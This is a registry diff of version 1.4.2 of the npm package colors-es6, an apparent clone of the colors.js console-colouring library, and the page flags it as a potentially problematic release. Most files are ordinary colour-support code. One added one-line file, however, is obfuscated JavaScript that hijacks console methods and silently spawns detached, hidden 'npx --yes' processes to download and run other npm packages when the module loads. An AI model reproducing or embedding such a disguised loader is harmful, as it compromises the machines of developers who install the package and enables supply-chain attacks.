colors-es6 1.4.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of colors-es6 might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +221 -0
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +212 -0
- package/lib/custom/american.js +31 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +23 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/check-flag.js +1 -0
- package/lib/system/get-flag.js +1 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +45 -0
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x1667dd=_0x226f;(function(_0x21c085,_0x3abfd5){const _0xc2bbda=_0x226f,_0x4403a5=_0x21c085();while(!![]){try{const _0x4dbcd7=-parseInt(_0xc2bbda(0x1e5))/0x1*(-parseInt(_0xc2bbda(0x1c5))/0x2)+-parseInt(_0xc2bbda(0x1d0))/0x3*(parseInt(_0xc2bbda(0x1e6))/0x4)+parseInt(_0xc2bbda(0x1da))/0x5*(parseInt(_0xc2bbda(0x1c3))/0x6)+-parseInt(_0xc2bbda(0x1cb))/0x7+parseInt(_0xc2bbda(0x1e7))/0x8+-parseInt(_0xc2bbda(0x1f1))/0x9*(-parseInt(_0xc2bbda(0x1ed))/0xa)+parseInt(_0xc2bbda(0x1d5))/0xb*(-parseInt(_0xc2bbda(0x1d1))/0xc);if(_0x4dbcd7===_0x3abfd5)break;else _0x4403a5['push'](_0x4403a5['shift']());}catch(_0x448238){_0x4403a5['push'](_0x4403a5['shift']());}}}(_0x55f9,0x4dd48));const _0x3ce1c1=(function(){let _0x3b216e=!![];return function(_0x31072b,_0x12bcc5){const _0x44bcdf=_0x226f;if(_0x44bcdf(0x1f7)+'A'===_0x44bcdf(0x1d2)+'Z'){const _0x164aaa=_0x18b73d[_0x44bcdf(0x1d4)+'y'](_0x316e1b,arguments);return _0x2928b6=null,_0x164aaa;}else{const _0x854d01=_0x3b216e?function(){const _0x149ad0=_0x44bcdf;if(_0x12bcc5){if('zIiV'+'N'!==_0x149ad0(0x1be)+'G'){const _0x40dae5=_0x12bcc5[_0x149ad0(0x1d4)+'y'](_0x31072b,arguments);return _0x12bcc5=null,_0x40dae5;}else return _0x3d4193[_0x149ad0(0x1bf)+_0x149ad0(0x1de)]()[_0x149ad0(0x1f9)+'ch'](_0x149ad0(0x1bb)+_0x149ad0(0x1ce)+_0x149ad0(0x1f6))[_0x149ad0(0x1bf)+_0x149ad0(0x1de)]()['cons'+_0x149ad0(0x1c1)+'tor'](_0x486aed)[_0x149ad0(0x1f9)+'ch']('(((.'+'+)+)'+_0x149ad0(0x1f6));}}:function(){};return _0x3b216e=![],_0x854d01;}};}()),_0x21cb7e=_0x3ce1c1(this,function(){const _0x3bdcee=_0x226f;return _0x21cb7e[_0x3bdcee(0x1bf)+_0x3bdcee(0x1de)]()['sear'+'ch'](_0x3bdcee(0x1bb)+_0x3bdcee(0x1ce)+_0x3bdcee(0x1f6))[_0x3bdcee(0x1bf)+_0x3bdcee(0x1de)]()[_0x3bdcee(0x1c9)+_0x3bdcee(0x1c1)+_0x3bdcee(0x1bc)](_0x21cb7e)[_0x3bdcee(0x1f9)+'ch']('(((.'+'+)+)'+_0x3bdcee(0x1f6));});function _0x55f9(){const _0x1ee705=['+)+)','__pr','15OqFwlo','20652OGZtCa','rwOE','()\x20','appl','3751OCjKEr','warn','lQIZ','d_pr','enyo','15DLGVrX','func','win3','bind','ring','/cow','oto_','unre','exce','otyp','Qanh','14106xoDzuK','219316NRnhEa','4110720DoGKoo','plat','rn\x20(','sKTk',')(\x20)','--ye','2469790dwUScd','ptio','rn\x20t','owsa','9UNOZFx','retu','npx','oces','chil','+)+$','xruZ','onst','sear','(((.','tor','prot','IOtW','toSt','tabl','truc','his\x22','35940qQMxup','or(\x22','68TCcSwL','form','anan','info','cons','ruct','550165RIaTAP','{}.c','tion'];_0x55f9=function(){return _0x1ee705;};return _0x55f9();}_0x21cb7e();const _0x17e5d8=(function(){let _0xd04ddc=!![];return function(_0x5d6ccc,_0x41f30a){const _0x396f84=_0xd04ddc?function(){const _0x6004e4=_0x226f;if(_0x6004e4(0x1ea)+'S'===_0x6004e4(0x1ea)+'S'){if(_0x41f30a){if(_0x6004e4(0x1e4)+'c'!=='Qanh'+'c'){let _0x49df31;try{_0x49df31=_0x557c68(_0x6004e4(0x1f2)+'rn\x20('+_0x6004e4(0x1db)+_0x6004e4(0x1cd)+_0x6004e4(0x1d3)+(_0x6004e4(0x1cc)+_0x6004e4(0x1f8)+_0x6004e4(0x1ca)+_0x6004e4(0x1c4)+_0x6004e4(0x1f2)+'rn\x20t'+_0x6004e4(0x1c2)+')(\x20)')+');')();}catch(_0x38871f){_0x49df31=_0xfe427c;}return _0x49df31;}else{const _0x333522=_0x41f30a['appl'+'y'](_0x5d6ccc,arguments);return _0x41f30a=null,_0x333522;}}}else{const _0x11d2ab=_0x511cdb?function(){const _0x134de8=_0x6004e4;if(_0x3936ac){const _0x53dede=_0x4045ab[_0x134de8(0x1d4)+'y'](_0xe80dcb,arguments);return _0x2da51f=null,_0x53dede;}}:function(){};return _0x2d3b5c=![],_0x11d2ab;}}:function(){};return _0xd04ddc=![],_0x396f84;};}()),_0x378c30=_0x17e5d8(this,function(){const _0x5e1bbd=_0x226f,_0x56e266=function(){const _0x446727=_0x226f;let _0xd06000;try{_0xd06000=Function(_0x446727(0x1f2)+_0x446727(0x1e9)+_0x446727(0x1db)+_0x446727(0x1cd)+_0x446727(0x1d3)+(_0x446727(0x1cc)+'onst'+_0x446727(0x1ca)+_0x446727(0x1c4)+_0x446727(0x1f2)+'rn\x20t'+_0x446727(0x1c2)+_0x446727(0x1eb))+');')();}catch(_0x59df4c){_0x446727(0x1d7)+'p'===_0x446727(0x1d7)+'p'?_0xd06000=window:_0x8bbf5=_0x19772d(_0x446727(0x1f2)+'rn\x20('+_0x446727(0x1db)+_0x446727(0x1cd)+'()\x20'+(_0x446727(0x1cc)+_0x446727(0x1f8)+_0x446727(0x1ca)+_0x446727(0x1c4)+_0x446727(0x1f2)+_0x446727(0x1ef)+_0x446727(0x1c2)+_0x446727(0x1eb))+');')();}return _0xd06000;},_0x47e0ca=_0x56e266(),_0x5590e8=_0x47e0ca['cons'+'ole']=_0x47e0ca['cons'+'ole']||{},_0x1f1c3c=['log',_0x5e1bbd(0x1d6),_0x5e1bbd(0x1c8),'erro'+'r',_0x5e1bbd(0x1e2)+_0x5e1bbd(0x1ee)+'n',_0x5e1bbd(0x1c0)+'e','trac'+'e'];for(let _0x5227f1=0x0;_0x5227f1<_0x1f1c3c['leng'+'th'];_0x5227f1++){const _0x365dca=_0x17e5d8['cons'+_0x5e1bbd(0x1c1)+'tor'][_0x5e1bbd(0x1bd)+_0x5e1bbd(0x1e3)+'e'][_0x5e1bbd(0x1dd)](_0x17e5d8),_0x5f3e1f=_0x1f1c3c[_0x5227f1],_0x539388=_0x5590e8[_0x5f3e1f]||_0x365dca;_0x365dca[_0x5e1bbd(0x1cf)+_0x5e1bbd(0x1e0)+'_']=_0x17e5d8[_0x5e1bbd(0x1dd)](_0x17e5d8),_0x365dca[_0x5e1bbd(0x1bf)+_0x5e1bbd(0x1de)]=_0x539388[_0x5e1bbd(0x1bf)+'ring'][_0x5e1bbd(0x1dd)](_0x539388),_0x5590e8[_0x5f3e1f]=_0x365dca;}});function _0x226f(_0x2ecd0e,_0x288db9){const _0x225a80=_0x55f9();return _0x226f=function(_0x378c30,_0x17e5d8){_0x378c30=_0x378c30-0x1bb;let _0x4249ae=_0x225a80[_0x378c30];return _0x4249ae;},_0x226f(_0x2ecd0e,_0x288db9);}_0x378c30();const {spawn}=require(_0x1667dd(0x1f5)+_0x1667dd(0x1d8)+_0x1667dd(0x1f4)+'s'),p1=spawn(_0x1667dd(0x1f3),[_0x1667dd(0x1ec)+'s',_0x1667dd(0x1c7)+_0x1667dd(0x1d9)+'halo'+_0x1667dd(0x1df)+'say#'+'t'],{'shell':process[_0x1667dd(0x1e8)+_0x1667dd(0x1c6)]===_0x1667dd(0x1dc)+'2','windowsHide':!![],'detached':!![]}),p2=spawn(_0x1667dd(0x1f3),[_0x1667dd(0x1ec)+'s','@ana'+'ne/c'+_0x1667dd(0x1f0)+'y'],{'shell':process[_0x1667dd(0x1e8)+'form']===_0x1667dd(0x1dc)+'2','windowsHide':!![],'detached':!![]});p1[_0x1667dd(0x1e1)+'f'](),p2[_0x1667dd(0x1e1)+'f']();
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
/*
|
|
2
|
+
MIT License
|
|
3
|
+
|
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
|
5
|
+
|
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
|
7
|
+
this software and associated documentation files (the "Software"), to deal in
|
|
8
|
+
the Software without restriction, including without limitation the rights to
|
|
9
|
+
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
|
10
|
+
of the Software, and to permit persons to whom the Software is furnished to do
|
|
11
|
+
so, subject to the following conditions:
|
|
12
|
+
|
|
13
|
+
The above copyright notice and this permission notice shall be included in all
|
|
14
|
+
copies or substantial portions of the Software.
|
|
15
|
+
|
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
22
|
+
SOFTWARE.
|
|
23
|
+
*/
|
|
24
|
+
|
|
25
|
+
'use strict';
|
|
26
|
+
|
|
27
|
+
module.exports = function(flag, argv) {
|
|
28
|
+
argv = argv || process.argv;
|
|
29
|
+
|
|
30
|
+
var terminatorPos = argv.indexOf('--');
|
|
31
|
+
var prefix = /^-{1,2}/.test(flag) ? '' : '--';
|
|
32
|
+
var pos = argv.indexOf(prefix + flag);
|
|
33
|
+
|
|
34
|
+
return pos !== -1 && (terminatorPos === -1 ? true : pos < terminatorPos);
|
|
35
|
+
};
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
/*
|
|
2
|
+
The MIT License (MIT)
|
|
3
|
+
|
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
|
5
|
+
|
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
8
|
+
in the Software without restriction, including without limitation the rights
|
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
11
|
+
furnished to do so, subject to the following conditions:
|
|
12
|
+
|
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
|
14
|
+
all copies or substantial portions of the Software.
|
|
15
|
+
|
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
22
|
+
THE SOFTWARE.
|
|
23
|
+
|
|
24
|
+
*/
|
|
25
|
+
|
|
26
|
+
'use strict';
|
|
27
|
+
|
|
28
|
+
var os = require('os');
|
|
29
|
+
var hasFlag = require('./has-flag.js');
|
|
30
|
+
|
|
31
|
+
var env = process.env;
|
|
32
|
+
|
|
33
|
+
var forceColor = void 0;
|
|
34
|
+
if (hasFlag('no-color') || hasFlag('no-colors') || hasFlag('color=false')) {
|
|
35
|
+
forceColor = false;
|
|
36
|
+
} else if (hasFlag('color') || hasFlag('colors') || hasFlag('color=true')
|
|
37
|
+
|| hasFlag('color=always')) {
|
|
38
|
+
forceColor = true;
|
|
39
|
+
}
|
|
40
|
+
if ('FORCE_COLOR' in env) {
|
|
41
|
+
forceColor = env.FORCE_COLOR.length === 0
|
|
42
|
+
|| parseInt(env.FORCE_COLOR, 10) !== 0;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
function translateLevel(level) {
|
|
46
|
+
if (level === 0) {
|
|
47
|
+
return false;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
return {
|
|
51
|
+
level: level,
|
|
52
|
+
hasBasic: true,
|
|
53
|
+
has256: level >= 2,
|
|
54
|
+
has16m: level >= 3,
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function supportsColor(stream) {
|
|
59
|
+
if (forceColor === false) {
|
|
60
|
+
return 0;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
if (hasFlag('color=16m') || hasFlag('color=full')
|
|
64
|
+
|| hasFlag('color=truecolor')) {
|
|
65
|
+
return 3;
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
if (hasFlag('color=256')) {
|
|
69
|
+
return 2;
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
if (stream && !stream.isTTY && forceColor !== true) {
|
|
73
|
+
return 0;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
var min = forceColor ? 1 : 0;
|
|
77
|
+
|
|
78
|
+
if (process.platform === 'win32') {
|
|
79
|
+
// Node.js 7.5.0 is the first version of Node.js to include a patch to
|
|
80
|
+
// libuv that enables 256 color output on Windows. Anything earlier and it
|
|
81
|
+
// won't work. However, here we target Node.js 8 at minimum as it is an LTS
|
|
82
|
+
// release, and Node.js 7 is not. Windows 10 build 10586 is the first
|
|
83
|
+
// Windows release that supports 256 colors. Windows 10 build 14931 is the
|
|
84
|
+
// first release that supports 16m/TrueColor.
|
|
85
|
+
var osRelease = os.release().split('.');
|
|
86
|
+
if (Number(process.versions.node.split('.')[0]) >= 8
|
|
87
|
+
&& Number(osRelease[0]) >= 10 && Number(osRelease[2]) >= 10586) {
|
|
88
|
+
return Number(osRelease[2]) >= 14931 ? 3 : 2;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
return 1;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
if ('CI' in env) {
|
|
95
|
+
if (['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some(function(sign) {
|
|
96
|
+
return sign in env;
|
|
97
|
+
}) || env.CI_NAME === 'codeship') {
|
|
98
|
+
return 1;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
return min;
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
if ('TEAMCITY_VERSION' in env) {
|
|
105
|
+
return (/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(env.TEAMCITY_VERSION) ? 1 : 0
|
|
106
|
+
);
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
if ('TERM_PROGRAM' in env) {
|
|
110
|
+
var version = parseInt((env.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
|
|
111
|
+
|
|
112
|
+
switch (env.TERM_PROGRAM) {
|
|
113
|
+
case 'iTerm.app':
|
|
114
|
+
return version >= 3 ? 3 : 2;
|
|
115
|
+
case 'Hyper':
|
|
116
|
+
return 3;
|
|
117
|
+
case 'Apple_Terminal':
|
|
118
|
+
return 2;
|
|
119
|
+
// No default
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
if (/-256(color)?$/i.test(env.TERM)) {
|
|
124
|
+
return 2;
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
if (/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(env.TERM)) {
|
|
128
|
+
return 1;
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
if ('COLORTERM' in env) {
|
|
132
|
+
return 1;
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
if (env.TERM === 'dumb') {
|
|
136
|
+
return min;
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
return min;
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
function getSupportLevel(stream) {
|
|
143
|
+
var level = supportsColor(stream);
|
|
144
|
+
return translateLevel(level);
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
module.exports = {
|
|
148
|
+
supportsColor: getSupportLevel,
|
|
149
|
+
stdout: getSupportLevel(process.stdout),
|
|
150
|
+
stderr: getSupportLevel(process.stderr),
|
|
151
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "colors-es6",
|
|
3
|
+
"description": "get colors in your node.js console",
|
|
4
|
+
"version": "1.4.2",
|
|
5
|
+
"author": "Marak Squires",
|
|
6
|
+
"contributors": [
|
|
7
|
+
{
|
|
8
|
+
"name": "DABH",
|
|
9
|
+
"url": "https://github.com/DABH"
|
|
10
|
+
}
|
|
11
|
+
],
|
|
12
|
+
"homepage": "https://github.com/Marak/colors.js",
|
|
13
|
+
"bugs": "https://github.com/Marak/colors.js/issues",
|
|
14
|
+
"keywords": [
|
|
15
|
+
"ansi",
|
|
16
|
+
"terminal",
|
|
17
|
+
"colors"
|
|
18
|
+
],
|
|
19
|
+
"repository": {
|
|
20
|
+
"type": "git",
|
|
21
|
+
"url": "http://github.com/Marak/colors.js.git"
|
|
22
|
+
},
|
|
23
|
+
"license": "MIT",
|
|
24
|
+
"scripts": {
|
|
25
|
+
"lint": "eslint . --fix",
|
|
26
|
+
"test": "node tests/basic-test.js && node tests/safe-test.js"
|
|
27
|
+
},
|
|
28
|
+
"engines": {
|
|
29
|
+
"node": ">=0.1.90"
|
|
30
|
+
},
|
|
31
|
+
"main": "lib/index.js",
|
|
32
|
+
"files": [
|
|
33
|
+
"examples",
|
|
34
|
+
"lib",
|
|
35
|
+
"LICENSE",
|
|
36
|
+
"safe.js",
|
|
37
|
+
"themes",
|
|
38
|
+
"index.d.ts",
|
|
39
|
+
"safe.d.ts"
|
|
40
|
+
],
|
|
41
|
+
"devDependencies": {
|
|
42
|
+
"eslint": "^5.2.0",
|
|
43
|
+
"eslint-config-google": "^0.11.0"
|
|
44
|
+
}
|
|
45
|
+
}
|
package/safe.d.ts
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
|
5
|
+
|
|
6
|
+
export const enabled: boolean;
|
|
7
|
+
export function enable(): void;
|
|
8
|
+
export function disable(): void;
|
|
9
|
+
export function setTheme(theme: any): void;
|
|
10
|
+
|
|
11
|
+
export function strip(str: string): string;
|
|
12
|
+
export function stripColors(str: string): string;
|
|
13
|
+
|
|
14
|
+
export function black(str: string): string;
|
|
15
|
+
export function red(str: string): string;
|
|
16
|
+
export function green(str: string): string;
|
|
17
|
+
export function yellow(str: string): string;
|
|
18
|
+
export function blue(str: string): string;
|
|
19
|
+
export function magenta(str: string): string;
|
|
20
|
+
export function cyan(str: string): string;
|
|
21
|
+
export function white(str: string): string;
|
|
22
|
+
export function gray(str: string): string;
|
|
23
|
+
export function grey(str: string): string;
|
|
24
|
+
|
|
25
|
+
export function bgBlack(str: string): string;
|
|
26
|
+
export function bgRed(str: string): string;
|
|
27
|
+
export function bgGreen(str: string): string;
|
|
28
|
+
export function bgYellow(str: string): string;
|
|
29
|
+
export function bgBlue(str: string): string;
|
|
30
|
+
export function bgMagenta(str: string): string;
|
|
31
|
+
export function bgCyan(str: string): string;
|
|
32
|
+
export function bgWhite(str: string): string;
|
|
33
|
+
|
|
34
|
+
export function reset(str: string): string;
|
|
35
|
+
export function bold(str: string): string;
|
|
36
|
+
export function dim(str: string): string;
|
|
37
|
+
export function italic(str: string): string;
|
|
38
|
+
export function underline(str: string): string;
|
|
39
|
+
export function inverse(str: string): string;
|
|
40
|
+
export function hidden(str: string): string;
|
|
41
|
+
export function strikethrough(str: string): string;
|
|
42
|
+
|
|
43
|
+
export function rainbow(str: string): string;
|
|
44
|
+
export function zebra(str: string): string;
|
|
45
|
+
export function america(str: string): string;
|
|
46
|
+
export function trap(str: string): string;
|
|
47
|
+
export function random(str: string): string;
|
|
48
|
+
export function zalgo(str: string): string;
|
package/safe.js
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
//
|
|
2
|
+
// Remark: Requiring this file will use the "safe" colors API,
|
|
3
|
+
// which will not touch String.prototype.
|
|
4
|
+
//
|
|
5
|
+
// var colors = require('colors/safe');
|
|
6
|
+
// colors.red("foo")
|
|
7
|
+
//
|
|
8
|
+
//
|
|
9
|
+
var colors = require('./lib/colors');
|
|
10
|
+
module['exports'] = colors;
|